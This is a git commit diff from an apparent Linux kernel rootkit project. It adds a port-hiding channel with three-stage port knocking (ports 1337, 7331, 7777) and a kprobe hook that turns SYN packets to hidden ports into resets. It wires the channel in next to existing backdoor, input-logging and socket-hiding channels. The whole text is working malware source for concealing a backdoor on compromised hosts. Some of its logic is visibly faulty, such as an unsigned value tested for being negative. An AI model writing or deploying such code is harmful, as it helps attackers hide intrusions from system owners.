commit 13caac6bf8947bb7bc5404170b1e0e8914e6b27b
parent faef1b6af6e15924130f9296e0f34489ba49db80
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 10 Jan 2021 02:26:18 +0100
port knocking overhaul
Diffstat:
6 files changed, 110 insertions(+), 46 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -17,6 +17,7 @@
#include "rootkit.h"
#include "sockhide.h"
#include "packhide.h"
+#include "porthide.h"
#define BUFLEN 512
@@ -35,6 +36,7 @@ report_channels(void)
DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE);
+ DEBUG_NOTICE("%-24s %#10lx\n", "PORTHIDE", G7_PORTHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING);
@@ -53,6 +55,7 @@ detect_channel(unsigned cmd)
case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide };
case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide };
case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide };
+ case G7_PORTHIDE: return (channel_t){ "PORTHIDE", handle_porthide };
case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging };
@@ -273,6 +276,32 @@ handle_packhide(unsigned long arg)
}
int
+handle_porthide(unsigned long arg)
+{
+ unsigned sarg = (unsigned)(arg % 65536);
+
+ if (!sarg) {
+ unhide_lports();
+ rootkit.hiding_ports = 0;
+ DEBUG_NOTICE("[g7] porthide off\n");
+ } else if (sarg < 0) {
+ unhide_lport((port_t)(-sarg));
+ DEBUG_NOTICE("[g7] unhiding port %d\n", -sarg);
+ } else if (sarg > 0) {
+ if (!rootkit.hiding_ports) {
+ hide_lports();
+ DEBUG_NOTICE("[g7] porthide on\n");
+ }
+
+ hide_lport((port_t)sarg);
+ rootkit.hiding_ports = 1;
+ DEBUG_NOTICE("[g7] hiding port %d\n", sarg);
+ }
+
+ return 0;
+}
+
+int
handle_backdoor(unsigned long arg)
{
char buf[BUFLEN];
diff --git a/src/channel.h b/src/channel.h
@@ -18,6 +18,7 @@ int handle_pidhide(unsigned long);
int handle_tcphide(unsigned long);
int handle_udphide(unsigned long);
int handle_packhide(unsigned long);
+int handle_porthide(unsigned long);
int handle_backdoor(unsigned long);
int handle_togglebd(unsigned long);
int handle_logging(unsigned long);
diff --git a/src/hook.c b/src/hook.c
@@ -22,7 +22,8 @@
#include "read.h"
#include "inputlog.h"
#include "sockhide.h"
-#include "packhide.h"
+/* #include "packhide.h" */
+#include "porthide.h"
extern rootkit_t rootkit;
@@ -88,8 +89,11 @@ init_hooks(void)
if (rootkit.hiding_sockets)
hide_sockets();
- if (rootkit.hiding_packets)
- hide_packets();
+ /* if (rootkit.hiding_packets) */
+ /* hide_packets(); */
+
+ if (rootkit.hiding_ports)
+ hide_lports();
if (rootkit.backdoor == BD_READ)
backdoor_read();
@@ -120,8 +124,11 @@ remove_hooks(void)
if (rootkit.hiding_sockets)
unhide_sockets();
- if (rootkit.hiding_packets)
- unhide_packets();
+ /* if (rootkit.hiding_packets) */
+ /* unhide_packets(); */
+
+ if (rootkit.hiding_ports)
+ unhide_lports();
if (rootkit.backdoor != BD_OFF)
unbackdoor();
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -12,8 +12,9 @@
#define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *)
#define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *)
#define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *)
-#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *)
-#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *)
-#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *)
+#define G7_PORTHIDE _IOR(G7_MAGIC_NUMBER, 0x8, char *)
+#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x9, char *)
+#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0xa, char *)
+#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xb, char *)
#endif//_GROUP7_IOCTL_H
diff --git a/src/porthide.c b/src/porthide.c
@@ -14,10 +14,39 @@
#include "hook.h"
#include "porthide.h"
+
+// stage 1: 1337
+knock_list_t ips_stage1 = {
+ .ip = { 0 },
+ .version = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+knock_list_t_ptr ips_stage1_tail = &ips_stage1;
+
+// stage 2: 7331
+knock_list_t ips_stage2 = {
+ .ip = { 0 },
+ .version = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+knock_list_t_ptr ips_stage2_tail = &ips_stage2;
+
+// stage 3: 7777
+knock_list_t ips_stage3 = {
+ .ip = { 0 },
+ .version = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+knock_list_t_ptr ips_stage3_tail = &ips_stage3;
+
lport_list_t hidden_lports = {
.lport = -1,
- .knock_head = NULL,
- .knock_tail = NULL,
.prev = NULL,
.next = NULL,
};
@@ -77,14 +106,14 @@ unhide_lports(void)
void
hide_lport(lport_t lport)
{
- /* if (!list_contains_ip(&hidden_ips, ipv6, v6)) */
- /* add_ip_to_list(hidden_ips_tail, ipv6, v6); */
+ if (!list_contains_lport(&hidden_lports, lport))
+ add_lport_to_list(hidden_lports_tail, lport);
}
void
unhide_lport(lport_t lport)
{
- /* remove_ip_from_list(&hidden_ips, ipv6, v6); */
+ remove_lport_from_list(hidden_lports_tail, lport);
}
static int
@@ -94,7 +123,7 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
skb = (struct sk_buff *)pt_regs->di;
u8 protocol = 0;
- u8 ip[16] = {0};
+ u8 ip[16] = { 0 };
ip_version version;
char *data = skb_network_header(skb);
@@ -131,20 +160,32 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
tcphdr = (struct tcphdr *)skb_transport_header(skb);
unsigned src_port = (unsigned)ntohs(tcphdr->source);
- lport_list_t_ptr list = NULL;
- if ((list = find_lport_in_list(&hidden_lports, src_port))) {
- knock_list_t_ptr knocks = NULL;
+ if (list_contains_knock(&ips_stage3, ip, version))
+ return 0;
- if (!(knocks = find_knock_in_list(list->knock_head, ip, version)))
- {
+ if (list_contains_knock(&ips_stage2, ip, version)) {
+ if (src_port == 7777)
+ add_knock_to_list(&ips_stage3_tail, ip, version);
- }
+ remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version);
+ goto check_port;
+ } else if (list_contains_knock(&ips_stage1, ip, version)) {
+ if (src_port == 7331)
+ add_knock_to_list(&ips_stage2_tail, ip, version);
+ remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version);
+ goto check_port;
+ } else {
+ if (src_port == 1337)
+ add_knock_to_list(&ips_stage1_tail, ip, version);
+ }
+
+check_port:
+ if (list_contains_lport(&hidden_lports, src_port))
if (tcphdr->syn) {
tcphdr->syn = 0;
tcphdr->rst = 1;
}
- }
}
return 0;
@@ -226,15 +267,6 @@ remove_lport_from_list(lport_list_t_ptr list, lport_t lport)
return ret;
}
-void
-clear_lport_knocks(lport_list_t_ptr list)
-{
- if (list && list->knock_tail) {
- knock_list_t_ptr i = list->knock_tail;
- while ((i = remove_knock_from_list(i, &list->knock_tail, i->ip, i->version)));
- }
-}
-
bool
list_contains_knock(knock_list_t_ptr list, ip_t ip, ip_version version)
{
@@ -246,11 +278,8 @@ find_knock_in_list(knock_list_t_ptr head, ip_t ip, ip_version version)
{
knock_list_t_ptr i;
for (i = head; i; i = i->next)
- if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16))
- && (version == -1 || i->version == version))
- {
+ if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && (version == -1 || i->version == version))
return i;
- }
return NULL;
}
@@ -279,9 +308,7 @@ remove_knock_from_list(knock_list_t_ptr list, knock_list_t_ptr *tail, ip_t ip, i
{
knock_list_t_ptr i = find_knock_in_list(list, ip, version), ret = NULL;
- if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16))
- && i->version != -1))
- {
+ if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && i->version != -1)) {
if (i->next)
i->next->prev = i->prev;
else
diff --git a/src/porthide.h b/src/porthide.h
@@ -1,18 +1,19 @@
#ifndef _GROUP7_PORTHIDE_H
#define _GROUP7_PORTHIDE_H
-typedef enum {
- v4,
- v6
-} ip_version;
+#include "packhide.h"
-typedef u8 ip_t[16];
+/* typedef enum { */
+/* v4, */
+/* v6 */
+/* } ip_version; */
+
+/* typedef u8 ip_t[16]; */
typedef struct knock_list *knock_list_t_ptr;
typedef struct knock_list {
ip_t ip;
ip_version version;
- unsigned next_lport;
knock_list_t_ptr prev;
knock_list_t_ptr next;
} knock_list_t;
@@ -22,8 +23,6 @@ typedef unsigned lport_t;
typedef struct lport_list *lport_list_t_ptr;
typedef struct lport_list {
lport_t lport;
- knock_list_t_ptr knock_head;
- knock_list_t_ptr knock_tail;
lport_list_t_ptr prev;
lport_list_t_ptr next;
} lport_list_t;
@@ -46,7 +45,7 @@ lport_list_t_ptr remove_lport_from_list(lport_list_t_ptr, lport_t);
bool list_contains_knock(knock_list_t_ptr, ip_t, ip_version);
knock_list_t_ptr find_knock_in_list(knock_list_t_ptr, ip_t, ip_version);
-knock_list_t_ptr add_ip_to_list(knock_list_t_ptr *, ip_t, ip_version);
+knock_list_t_ptr add_knock_to_list(knock_list_t_ptr *, ip_t, ip_version);
knock_list_t_ptr remove_knock_from_list(knock_list_t_ptr, knock_list_t_ptr *, ip_t, ip_version);
#endif //_GROUP7_PORTHIDE_H